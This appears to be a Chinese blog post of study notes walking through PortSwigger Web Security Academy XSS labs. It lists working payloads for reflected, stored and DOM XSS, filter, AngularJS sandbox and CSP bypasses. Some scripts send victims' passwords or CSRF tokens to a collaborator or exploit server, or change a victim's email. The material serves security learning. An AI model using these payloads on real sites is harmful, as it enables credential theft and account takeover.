XSS博大精深,自己原来也没有深入学习过太多,此文章用于记录深入学习,长期更新 包括bp实验室或者各种比赛或者文章上关于xss的知识或者学到的新姿势都会慢慢记录
BP实验室
Lab: Reflected XSS into HTML context with nothing encoded
反射型-输入框嵌套到前段
<script>alert("xss")<script>
Lab: Stored XSS into HTML context with nothing encoded
存储型,博客评论
<script>alert(1)</script>
Lab: DOM XSS in document.write sink using source location.search
本实验在搜索查询跟踪功能中存在基于 DOM 的跨站脚本漏洞。它使用 JavaScript 的 document.write 函数将 document.write 写入页面。document.write 函数接收来自 location.search 的数据,而 location.search 的值可以通过网站 URL 进行控制
搜索框测试发现我们输入的会被放到img src属性中,构造闭合
"><svg onload=alert(1)>
Lab: DOM XSS in innerHTML sink using source location.search
本实验在搜索博客功能中存在基于 DOM 的跨站脚本漏洞。它利用 innerHTML 赋值语句,使用 location.search 中的数据更改 div 元素的 HTML 内容
innerHTML是什么,innerHTML是javascript中的一个DOM属性,通过innerHTML属性可以获取或设置元素的HTML语法,即该元素在DOM树中的所有子节点的序列化形式
当我们读取一个元素的innerHTML属性时,会返回该元素内部所有的HTML内容,包括所有子元素及其HTML标签作为一个字符串
const name = "<img src='x' onerror='alert(1)'>";
el.innerHTML = name; // shows the alert
我们回到题目
<h1><span>2 search results for '</span><span id="searchMessage"></span><span>'</span></h1>
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>
看到源码这一段,关键就是这一个
document.getElementById('searchMessage').innerHTML = query;
会去找ID为searchMessage的元素,然后innerHTML属性将query值设置为该元素的内部内容
然后query通过url的get方式获取,如果检测到query有值,就会自动调用到doSearcjQuery函数,将值显示到页面上
然后我们利用事件实现它自动触发
<img src=1 onerror=alert(1)>
Lab: DOM XSS in jQuery anchor href attribute sink using location.search source
本实验的提交反馈页面存在基于 DOM 的跨站脚本漏洞。它利用 jQuery 库的 $ 选择器函数查找锚元素,并使用 location.search 中的数据更改其 href 属性
关键代码
<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>
使用了jQuery库,功能是页面加载后,设置一个“返回”链接的位置,该地址内容来源于当前页面的URL查询参数
使用jQuery的选择器,在DOM中找到id属性为backLink的元素,最后设置从url那获取到的returnPath的值
我们随便测试,就会发现
<a id="backLink" href="/baidu">Back</a>
会变成我们随便传的值
JavaScript:alert(1)
javascript伪协议,是一个浏览器支持的“伪协议”,浏览器会有行为,当浏览器发现href或sec属性值以javascript:开头时,不会尝试进行网络请求,而是将冒号后面的内容视作javascript代码,并在当前页面上下文中执行
Lab: DOM XSS in jQuery selector sink using a hashchange event
本实验的首页存在基于 DOM 的跨站脚本漏洞。它利用 jQuery 的 $() 选择器函数自动滚动到指定文章,文章标题通过 location.hash 属性传递
介绍一下iframe内联框架元素,表示嵌套的浏览上下文,将另一个html页面嵌入到当前页面中,比如
<iframe
id="inlineFrameExample"
title="Inline Frame Example"
width="300"
height="200"
src="https://www.openstreetmap.org/export/embed.html?bbox=-0.004017949104309083%2C51.47612752641776%2C0.00030577182769775396%2C51.478569861898606&layer=mapnik">
</iframe>
我们回到题目,从首页进入到漏洞利用服务器
<script>
const convertFormToJson = (node) => Array.from(node.querySelectorAll('input, textarea, select'))
.reduce((acc, cur) => {
acc[cur.name] = cur.type === 'checkbox'
? cur.checked
: cur.value;
return acc;
}, {})
const updateFullUrl = () => {
const o = convertFormToJson(document.getElementById('feedbackForm'));
const target = document.getElementById('fullUrl');
const hostname = 'exploit-0a2000ad043d91fd81a57a87015e00b5.exploit-server.net';
const responseFileParameterKey = 'responseFile';
const urlIsHttpsParameterKey = 'urlIsHttps';
const tls = o[urlIsHttpsParameterKey];
let url = tls ? 'https' : 'http';
url += '://';
url += hostname;
url += o[responseFileParameterKey];
target.textContent = url;
};
updateFullUrl();
</script>
同时主页源代码有
<script>
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
</script>
总结下来功能就是:实现了一个动态URL生成器,根据表单选项实时构建指向漏洞利用服务器的完整URL
<iframe src="https://0aca001c04b891c381707b960063004d.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
利用iframe嵌入我们的主页面后,正常加载目标网站,然后#是URL片段标识符
onload事件在iframe加载完成后触发,this.src += ‘xxxxx’这里的含义是,将字符串追加到iframe的url后面
同时漏洞利用服务器中也完成的是这么一个功能,然后主页中的处理逻辑,这里检测到url后边变化之后,就会调用function
window.location.hash.slice(1)此处会去除那一位的#,关键在于$('section.blog-list h2:contains(' + userInput + ')');jQuery 会把内容解析成选择器表达式
当jQuery的$()遇到字符串以 < 开头时或者当语法导致 jQuery 无法解析为合法选择器时,都会将内容转为HTML元素插入到DOM中
关键此实验室使用 jQuery 的 $() 从 location.hash 获取 post 标题,然后hash我们是完全可控的
官方的payload中,进入到jQuery解析会变为section.blog-list h2:contains(<img src=x onerror=print()>),这时候会被识别为非法的jQuery选择器,这时候就会触发其第二种情况
但是还有一种方法,就是当我们得知到了主页就有那段代码的话,可以直接在url后添加,构造闭合去加载我们的payload
)<img src=x onerror=print()>
两种触发方式稍微有些不同,一个直接把 <img> 注入 hash → jQuery selector fallback,另一种是通过闭合选择器语法 + 插入 HTML → 强制 selector 终止 → 注入 HTML
Lab: Reflected XSS into attribute with angle brackets HTML-encoded
本实验包含一个反射型跨站脚本漏洞,该漏洞存在于搜索博客功能中,其中尖括号被进行了 HTML 编码。要解决此实验,请执行跨站脚本攻击,注入一个属性并调用 alert 函数
浏览器会自动给style属性值缺失的双引号补全
构造闭合,利用事件触发
"onmouseover="alert(1)
Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded
本实验在评论功能中存在一个存储型跨站脚本漏洞。要解决此实验,请提交一条评论,该评论会在点击评论作者姓名时调用 alert 函数
我们可以看到在评论处,website的值会被插入到href属性当中,name的值被当做字符串,我们通过构造patload,点击name就可以实现弹窗
javascript:alert(1)
Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded
本实验包含一个反射型跨站脚本漏洞,该漏洞存在于搜索查询跟踪功能中,其中尖括号被编码。反射发生在 JavaScript 字符串内部。要解决此实验,请执行跨站脚本攻击,突破 JavaScript 字符串的限制并调用 alert 函数
<script>
var searchTerms = '">';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
尖括号编码,我们需要进行绕过,payload
'-alert(1)-'
注入后变为
var s = ''-alert(1)-'';
-alert作为一个合法表达式会被当做js代码执行,同时尾部的-可能是用来进行语句平衡
Lab: DOM XSS in document.write sink using source location.search inside a select element
本实验的股票查询功能存在基于 DOM 的跨站脚本漏洞。它使用 JavaScript 的 document.write 函数将 document.write 写入页面。document.write 函数接收来自 location.search 的数据,您可以通过网站 URL 控制 location.search 的访问。数据被包含在一个 select 元素中
<input required type="hidden" name="productId" value="2">
<script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>
用户可控的 storeId 被直接拼接到 HTML 中(option 标签内部),没有任何 HTML 转义 → 导致 DOM XSS
所以我们的payload
https://.net/product?storeId="></option><img src=x onerror=alert(1)>
然后官方给到的是利用闭合<select>标签进行注入
storeId="></select><img%20src=1%20onerror=alert(1)>

从这可以看出其实闭合select或者option标签的哪一个都可以
Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
本实验室在搜索功能中的 AngularJS 表达式中存在基于 DOM 的跨站脚本漏洞
AngularJS 是一个流行的 JavaScript 库,它会扫描包含 ng-app 属性(也称为 AngularJS 指令)的 HTML 节点的内容。当指令添加到 HTML 代码中时,就可以在双花括号内执行 JavaScript 表达式。这种技巧在对尖括号进行编码时非常有用
当我们查看源代码时,发现body中所包含在ng-app指令中,因此可以利用AngularJS表达式
AngularJS表达式是什么?AngularJS使用表达式来在HTML中绑定数据,比如{{1+1}}这种
AngularJS 在 early versions(1.0-1.5)中允许表达式访问构造函数链,最终得到 window,再执行任意 JS
{{constructor.constructor('alert(1)')()}}
同时随着版本的不断更新,也出现了很多不同的绕过方式
Lab: Reflected DOM XSS
本实验演示了一种反射型 DOM 漏洞。反射型 DOM 漏洞是指服务器端应用程序处理请求中的数据并将数据回显到响应中。页面上的脚本随后以不安全的方式处理这些回显数据,最终将其写入危险的存储位置
我们随便测试看到双引号被转义了,然后返回是以JSON形式

所以我们可以
\"-alert(1)}//
插入了反斜杠,而网站并未对其进行转义,因此当 JSON 响应尝试转义开头的双引号字符时,它会添加第二个反斜杠。由此产生的双反斜杠实际上抵消了转义。这意味着双引号将以未转义的形式处理,从而导致本应包含搜索词的字符串无法正常闭合,所以最后我们的响应变为了

Lab: Stored DOM XSS
本实验演示了博客评论功能中存储的 DOM 漏洞。要完成此实验,请利用此漏洞调用 alert() 函数
查看源代码,js使用了replace函数对尖括号进行了编码

从我的测试可以看出,当replace的第一个参数是字符串时,该函数只会替换其第一次出现的值,于是
<><img src=3 onerror=alert(1)>
Lab: Reflected XSS into HTML context with most tags and attributes blocked
本实验室的搜索功能中存在反射型 XSS 漏洞,但使用 Web 应用程序防火墙 (WAF) 来防御常见的 XSS 攻击

waf,经过fuzz模糊测试可得,可用标签事件
body,onresize
onresize事件会在浏览器窗口大小调整时触发
构造payload
<iframe src="https://0a3a0075047f194f801403230073009d.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
Lab: Reflected XSS into HTML context with all tags blocked except custom ones
此实验室会屏蔽所有 HTML 标签,只允许自定义标签存在
<xss id=x onfocus=alert(document.cookie) tabindex=1>#x
自定义<xss>标签,onfocus是聚焦时触发,比如点击或者按Tab键聚焦时,tabindex=1将第一次按Tab键的时候聚焦此标签
所以这里payload
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
Lab: Reflected XSS with some SVG markup allowed
这个实验存在一个简单的反射型 XSS 漏洞。该网站屏蔽了常见的标签,但漏掉了一些 SVG 标签和事件
我们先fuzz出<svg>,<animatetransform>,<title>, and<image>标签都是可用的
然后再fuzz出可用属性,onbegin
复习一下
<svg>是HTML中可用来插入可缩放矢量图形的一个标签
<animateTransform>是SVG内的一个子标签,作用是给图形做动画变换(比如选择缩放平移等)
onbegin事件是当SVG动画开始播放时会触发
<animateTransform>可以触发SVG的动画事件,所以我们构造
"><svg><animatetransform onbegin=alert(1)>
Lab: Reflected XSS in canonical link tag
本实验室将用户输入反映在规范链接标签中,并对尖括号进行转义
<link rel="canonical" href='https://0ae600770330b1a687bf5ccf0091005f.web-security-academy.net/?'accesskey='x'onclick='alert(1)'/>
?'accesskey='x'onclick='alert(1)'/>
设置了快捷键,当我们在网页下按x就会触发弹窗
Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped
本实验包含一个反射型跨站脚本漏洞,该漏洞存在于搜索查询跟踪功能中。反射发生在 JavaScript 字符串内部,该字符串中的单引号和反斜杠均已转义
介绍说是发生在js内部,我通过输入</script>

很显然了
</script><script>alert()</script>
Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
该实验室在搜索查询跟踪功能中存在反射型跨站脚本漏洞,其中尖括号和双引号被 HTML 编码,单引号被转义
测试一下,看到转义了

和上面一个题很相似,只不过这次是变到了js内部,做法是一样的
\'-alert(1)//

Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
本实验室的评论功能中存在存储型跨站脚本漏洞
要完成此实验,请提交一条评论,当点击评论作者姓名时,该评论会调用 alert 函数
本实验中评论中设置website一栏设置后可以通过点击跳转页面,触发onclick事件
所以我们可以对website下手,因为他实际是插入到<a>中的
我们传入
http://3333?'-alert(1)-'
//'是html实体,即单引号

Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
本实验包含一个反射型跨站脚本漏洞,该漏洞存在于搜索博客功能中。反射发生在模板字符串内部,该字符串包含经过 HTML 编码的尖括号、单引号和双引号,以及经过转义的反引号。要解决此实验,请执行跨站脚本攻击,调用模板字符串内部的 alert 函数
我们输入的会被反映到javascript模版字符串中
${alert(1)}
Lab: Exploiting cross-site scripting to steal cookies
本实验在博客评论功能中存在存储型跨站脚本攻击 (XSS) 漏洞。模拟受害者用户可以查看所有已发布的评论。要解决此实验,请利用该漏洞窃取受害者的会话 cookie,然后使用该 cookie 冒充受害者
在评论区可以上传我们的恶意代码获取当前博客cookie,利用bp自带的功能


Lab: Exploiting cross-site scripting to capture passwords
本实验包含博客评论功能中的存储型跨站脚本攻击 (XSS) 漏洞。模拟受害者用户可以查看所有已发布的评论。要完成此实验,请利用此漏洞窃取受害者的用户名和密码,然后使用这些凭据登录受害者的帐户
这次窃取的是账号密码
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
脚本将使任何查看评论的人向您的公共协作服务器子域发出包含其用户名和密码的 POST 请求
mode: ‘no-cors’
- CORS绕过:正常情况下面向不同域的请求会被浏览器阻止
CORS(跨源资源共享)**:浏览器安全机制,阻止跨域请求
默认行为:向不同域的服务器发送请求会被浏览器阻止
no-cors(Fetch API模式)效果:- 允许发送请求,但不能读取响应
- 浏览器不会检查CORS头
- 请求实际上会成功到达服务器
实际我们在做题中就是通过bot去触发的

Lab: Exploiting XSS to bypass CSRF defenses
本实验的博客评论功能中存在一个存储型跨站脚本攻击 (XSS) 漏洞。要完成此实验,请利用该漏洞窃取一个跨站请求伪造 (CSRF) 令牌,然后您可以使用该令牌更改查看博客文章评论的用户的电子邮件地址
使用以下凭据登录您自己的帐户: wiener:peter
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
这将使任何查看该评论的人发出 POST 请求,将其电子邮件地址更改为 test@test.com
通过获取令牌然后去执行恶意操作
Lab: Reflected XSS with AngularJS sandbox escape without strings
利用沙箱逃逸实现XSS
https://YOUR-LAB-ID.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
该漏洞利用方法使用 toString() 创建一个不使用引号的字符串。然后,它获取 String 原型并重写每个字符串的 charAt 函数。这有效地破坏了 AngularJS 的沙箱机制。接下来,将一个数组传递给 orderBy 过滤器。然后,我们再次使用 toString() 创建一个字符串并修改 String 构造函数的属性,以此设置过滤器的参数。最后,我们使用 fromCharCode 方法将字符代码转换为字符串 x=alert(1) ,从而生成有效载荷。由于 charAt 函数已被重写,AngularJS 会在通常情况下不允许的情况下允许这段代码运行
120,61,97,108,101,114,116,40,49,41=>x=alert(1)
通过重写了charAt函数,使其实际上调用 [].join,行为完全改变
实际在AngularJS处理时
// 当 AngularJS 看到:
{{ "1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:..." }}
// 它不会当作纯文本,而是:
1. 解析整个字符串作为 AngularJS 表达式
2. 依次执行其中的语句
具体关于AngularJS后续会专门拿出学习一下
这里插入一下
什么是CSP?(内容安全策略)
CSP 是一种浏览器安全机制,旨在缓解 XSS 和其他一些攻击。它的工作原理是限制页面可以加载的资源(例如脚本和图像),并限制页面是否可以被其他页面嵌入
在此之前我们先去了解一下关于浏览器的同源策略
同源策略作为一个重要的安全策略,用于限制一个源,那么源又是怎么定义的呢,什么是同源
在web内容的源由用于访问它的URL的协议,主机名(域名)和端口来定义的,只有当协议,主机和端口都匹配时,两个对象才具有相同的源
比如:
http://example.com/app1/index.html
http://example.com/app2/index.html
就是同源的,若端口不同则认为是不同源的
我们回到同源策略,限制一个源的文档或者它加载的脚本如何能与另一个源的资源进行交互
源的继承:在页面中通过about:blank或者javascript:URL执行的脚本会集成打开改URL的文档的源,因为这些类型的URL没有包含源服务器的相关信息
源可以通过这样进行更改
document.domain = "company.com";
拔下来文档
同源策略控制不同源之间的交互,例如在使用 XMLHttpRequest 或 <img> 标签时则会受到同源策略的约束。这些交互通常分为三类:
跨源写操作(Cross-origin writes)一般是被允许的。例如链接、重定向以及表单提交。特定少数的 HTTP 请求需要添加预检请求
跨源资源嵌入(Cross-origin embedding)一般是被允许的(后面会举例说明)
跨源读操作(Cross-origin reads)一般是不被允许的,但常可以通过内嵌资源来巧妙的进行读取访问。例如,你可以读取嵌入图片的高度和宽度,调用内嵌脚本的方法,或得知内嵌资源的可用性
以下是可能嵌入跨源的资源的一些示例:
使用 <script src="…"></script> 标签嵌入的 JavaScript 脚本。语法错误信息只能被同源脚本中捕捉到
使用 <link rel="stylesheet" href="…"> 标签嵌入的 CSS。由于 CSS 的松散的语法规则,CSS 的跨源需要一个设置正确的 Content-Type 标头。如果样式表是跨源的,且 MIME 类型不正确,资源不以有效的 CSS 结构开始,浏览器会阻止它的加载
通过 <img> 展示的图片
通过 <video> 和 <audio> 播放的多媒体资源
通过 <object> 和 <embed> 嵌入的插件
通过 @font-face 引入的字体。一些浏览器允许跨源字体(cross-origin fonts),另一些需要同源字体(same-origin fonts)
通过 <iframe> 载入的任何资源。站点可以使用 X-Frame-Options 标头来阻止这种形式的跨源交互
说回CSP
如果要启用CSP,响应需要包含一个名为:Content-Security-PolicyHTTP响应头,其值包含策略信息,策略本身由一个或多个指令组成,指令之间用分号分隔
Lab: Reflected XSS protected by very strict CSP, with dangling markup attack (CSP)
本实验室采用严格的内容安全策略 (CSP),防止浏览器从外部域加载子资源
要解决实验室问题,请执行表单劫持攻击,绕过 CSP,窃取模拟受害者用户的 CSRF 令牌,并使用该令牌授权将电子邮件地址更改为 hacker@evil-user.net
你必须在向量上标记“点击”一词,才能诱使模拟用户点击它。例如
<a href="">Click me</a>
您可以使用以下凭据登录您自己的帐户: wiener:peter
我们登录后,可以按照格式随意修改邮箱,打开开发者工具查看email input
表单中有一个隐藏的输入字段,其中包含 CSRF 令牌。这表明该字段对于更改电子邮件地址是必需的
email处存在XSS,会插入到页面当中,我们测试,首先将type修改为支持text的
foo@example.com"><img src= onerror=alert(1)>

我们可以看到确实出现在页面上了,但是没有触发,表面被服务器处理了
通过URL提交我们的测试代码
?email=<img%20src%20onerror=alert(1)>
我们看到控制台输出
Loading the font 'https://gw.alipayobjects.com/os/bmw-prod/331279c4-c77f-4b83-92e3-d34ef31d72ae.ttf' violates the following Content Security Policy directive: "default-src 'self'". Note that 'font-src' was not explicitly set, so 'default-src' is used as a fallback. The action has been blocked.
从报错我们可以知道浏览器启用了CSP,同时当前策略为:default-src 'self' = 只允许从”相同域名”加载资源
所以浏览器拒绝了加载
接下来我们就需要考虑如何绕过CSP了,这里可以采用form-action指令来绕过这种保护
https://0a9f008c047162178152208600100001.web-security-academy.net/my-account?email=foo@bar%22%3E%3Cbutton%20formaction=%22https://exploit-0a2100ce044a62e981fe1f5f016300f6.exploit-server.net/exploit%22%3EClick%20me%3C/button%3E

因为在form标签内,且CSP没有对formaction的限制,我们可以考虑到利用其来加载资源或跳转,跳出同源
测试成功,实验目标是修改邮箱地址,我们现在要做的就是去获取csrf令牌,通过以表单形式获取,让点击用户自己将令牌带过来
https://0a9f008c047162178152208600100001.web-security-academy.net/my-account?email=foo@bar%22%3E%3Cbutton%20formaction=%22https://exploit-0a2100ce044a62e981fe1f5f016300f6.exploit-server.net/exploit%22%20formmethod=%22get%22%3EClick%20me%3C/button%3E

可以看到确实将令牌带过来了,所以最后一步,在我们的漏洞利用服务器写好我们的攻击脚本
这里给出官方的(权威)
<body>
<script>
const academyFrontend = "https://0a9f008c047162178152208600100001.web-security-academy.net/";
const exploitServer = "https://exploit-0a2100ce044a62e981fe1f5f016300f6.exploit-server.net/exploit";
const url = new URL(location);
const csrf = url.searchParams.get('csrf');
if (csrf) {
const form = document.createElement('form');
const email = document.createElement('input');
const token = document.createElement('input');
token.name = 'csrf';
token.value = csrf;
email.name = 'email';
email.value = 'hacker@evil-user.net';
form.method = 'post';
form.action = `${academyFrontend}my-account/change-email`;
form.append(email);
form.append(token);
document.documentElement.append(form);
form.submit();
} else {
location = `${academyFrontend}my-account?email=blah@blah%22%3E%3Cbutton+class=button%20formaction=${exploitServer}%20formmethod=get%20type=submit%3EClick%20me%3C/button%3E`;
}
</script>
</body>
当受害人点击后会自动完成获取令牌然后修改邮箱地址的操作
Bypassing CSP with policy injection(通过策略注入绕过CSP)
通过bp实验室的介绍
当访问一个网站是发现收到CSP策略限制时,当输入内容反映到实际策略中,最可能就是通过report-uli指令
如果对于网站反映的参数我们可以控制,就可以通过;插入CSP指令,如果原本有相同指令,则会实现覆盖现有指令,从而绕过限制(通常report-uli是最后一个)
来自bp介绍通常情况下,无法覆盖现有的 script-src 指令。但是,Chrome 最近引入了 script-src-elem 指令,它允许你控制 script 元素,但不能控制事件。关键在于,这个新指令允许你覆盖现有的 script-src 指令
通过看bp给的一个有趣的例子,发现每个浏览器所更新对于这方面的差别和差异还是很大的
Lab: Reflected XSS protected by CSP, with CSP bypass
本实验使用了 CSP,并且存在反射型 XSS 漏洞
本实验的预期解决方案仅适用于 Chrome 浏览器
我们测试
<script>alert("xss")</script>

我们看到确实加载进去了,但是并没有执行
?search=%3Cscript%3Ealert%28%22xss%22%29%3C%2Fscript%3E:46 Executing inline script violates the following Content Security Policy directive 'script-src 'self''. Either the 'unsafe-inline' keyword, a hash ('sha256-Gbk2jOuwutsI3g6EfcgcW9JahIvQgzGA2EPFLtabUZI='), or a nonce ('nonce-...') is required to enable inline execution. The action has been blocked.
可以看到是CSP阻止了内联脚本(包括<script>,事件,javascript伪协议等)执行
在Network中,可以看到响应包含 Content-Security-Policy 标头,并且 report-uri 指令包含一个名为 token 参数。我们可以控制 token 参数,因此可以将自己的 CSP 指令注入到策略中
https://0a1a004304eaf84f801303dd008500d8.web-security-academy.net/?search=%3Cscript%3Ealert%28%22xss%22%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27

使用了CSP 中的 script-src-elem 指令(仅chrom更新)该指令允许仅针对 script 元素进行操作
覆盖现有的 script-src 规则,从而注入 unsafe-inline ,进而使用内联脚本
Lab: Reflected XSS in a JavaScript URL with some characters blocked
这个实验会将你的输入反映到一个 JavaScript URL 中,但事情并非表面看起来那么简单。乍一看,这似乎是个小挑战;然而,为了防止 XSS 攻击,该应用程序会屏蔽某些字符
要解决实验问题,请执行跨站脚本攻击,调用 alert 函数,并在 alert 消息的某个位置包含字符串 1337
利用javascript异常处理和类型转换触发XSS
该漏洞利用异常处理来调用带有参数的 alert 函数。它使用 throw 语句,并用空注释分隔,以绕过空格限制 alert 被分配给 onerror 异常处理程序
由于 throw 是一个语句,它不能用作表达式。我们需要使用箭头函数创建一个代码块,以便可以使用 throw语句。然后我们需要调用这个函数,所以我们将其赋值给window的toString属性,并通过强制window` 进行字符串转换来触发它
1. 闭合对象和字符串
'}, - 闭合前面的字符串和对象
2. 定义箭头函数
x=x=>{throw/**/onerror=alert,1337}
创建一个函数 x
函数体:throw onerror=alert,1337
3. 利用异常处理
throw onerror=alert,1337
onerror=alert - 将 window.onerror 设置为 alert 函数
,1337 - 逗号操作符,返回 1337 并抛出异常
4. 触发类型转换
toString=x,window+''
toString=x - 将对象的 toString 方法设置为恶意函数 x
window+'' - 对 window 对象进行字符串转换,触发 toString() 方法
payload:
5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
Lab: Reflected XSS with event handlers and href attributes blocked
本实验室包含一个反射型 XSS 漏洞,其中包含一些白名单标签,但所有事件和锚文本 href 属性均被阻止
要解决实验问题,请执行跨站脚本攻击,注入一个向量,点击该向量即可调用 alert 函数
<svg>
<a>
<animate attributeName="href" values="javascript:alert(1)" />
<text x=20 y=20>Me</text>
</a>
</svg>
<animate> 元素可以在指定时间内动态改变 SVG 元素的属性值
attributeName="href":指定要动画化的属性是 href
所有事件都被禁止了,我们就利用构造超链接,将内部设置为点击就立即执行我们所设置的javascript:alert(1)
那么为什么能设置呢?
由于SVG 的命名空间特性,其中的 <a> 标签虽然与 HTML 的 <a> 标签名称相同,但属于不同的规范
<animate>` 元素可以修改**父元素或目标元素**的任何属性,包括 `href
实际解析成了
<svg>
<a href="javascript:alert(1)">
<text>Click me</text>
</a>
</svg>

Lab: Reflected XSS with AngularJS sandbox escape and CSP
本实验使用了 CSP 和 AngularJS
要解决此实验,请执行跨站脚本攻击,绕过 CSP,逃逸 AngularJS 沙箱,并发出 document.cookie
该漏洞利用 AngularJS 中的 ng-focus 事件来创建一个绕过内容安全策略 (CSP) path 焦点事件。它还使用了 $event ,这是一个指向事件对象的 AngularJS 变量。path 属性是 Chrome 特有的,包含一个触发事件的元素数组。数组中的最后一个元素是 window 对象
通常,在 JavaScript 中, | 表示按位或运算,但在 AngularJS 中,它表示过滤操作,在本例中是 orderBy 过滤器。冒号表示要传递给过滤器的参数。在这个参数中,我们没有直接调用 alert 函数,而是将其赋值给变量 z 。只有当 orderBy 操作到达 $event.path 数组中的 window 对象时,该函数才会被调用。这意味着它可以在 window 对象的作用域内调用,而无需显式引用 window 对象,从而有效地绕过了 AngularJS 的 window 检查
<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
ng-focus是 AngularJS 指令,在元素获得焦点时执行表达式orderBy是 AngularJS 过滤器,通常用于排序
<input
id=x
ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'
>
利用AngularJS模板注入漏洞自动窃取用户cookie
这里先插一句哈,java的马上就发,原来图片太乱了,现在才看到ty有那个可以将图片自动保存到assert里的设置,我靠了
这么努力 不要命啦你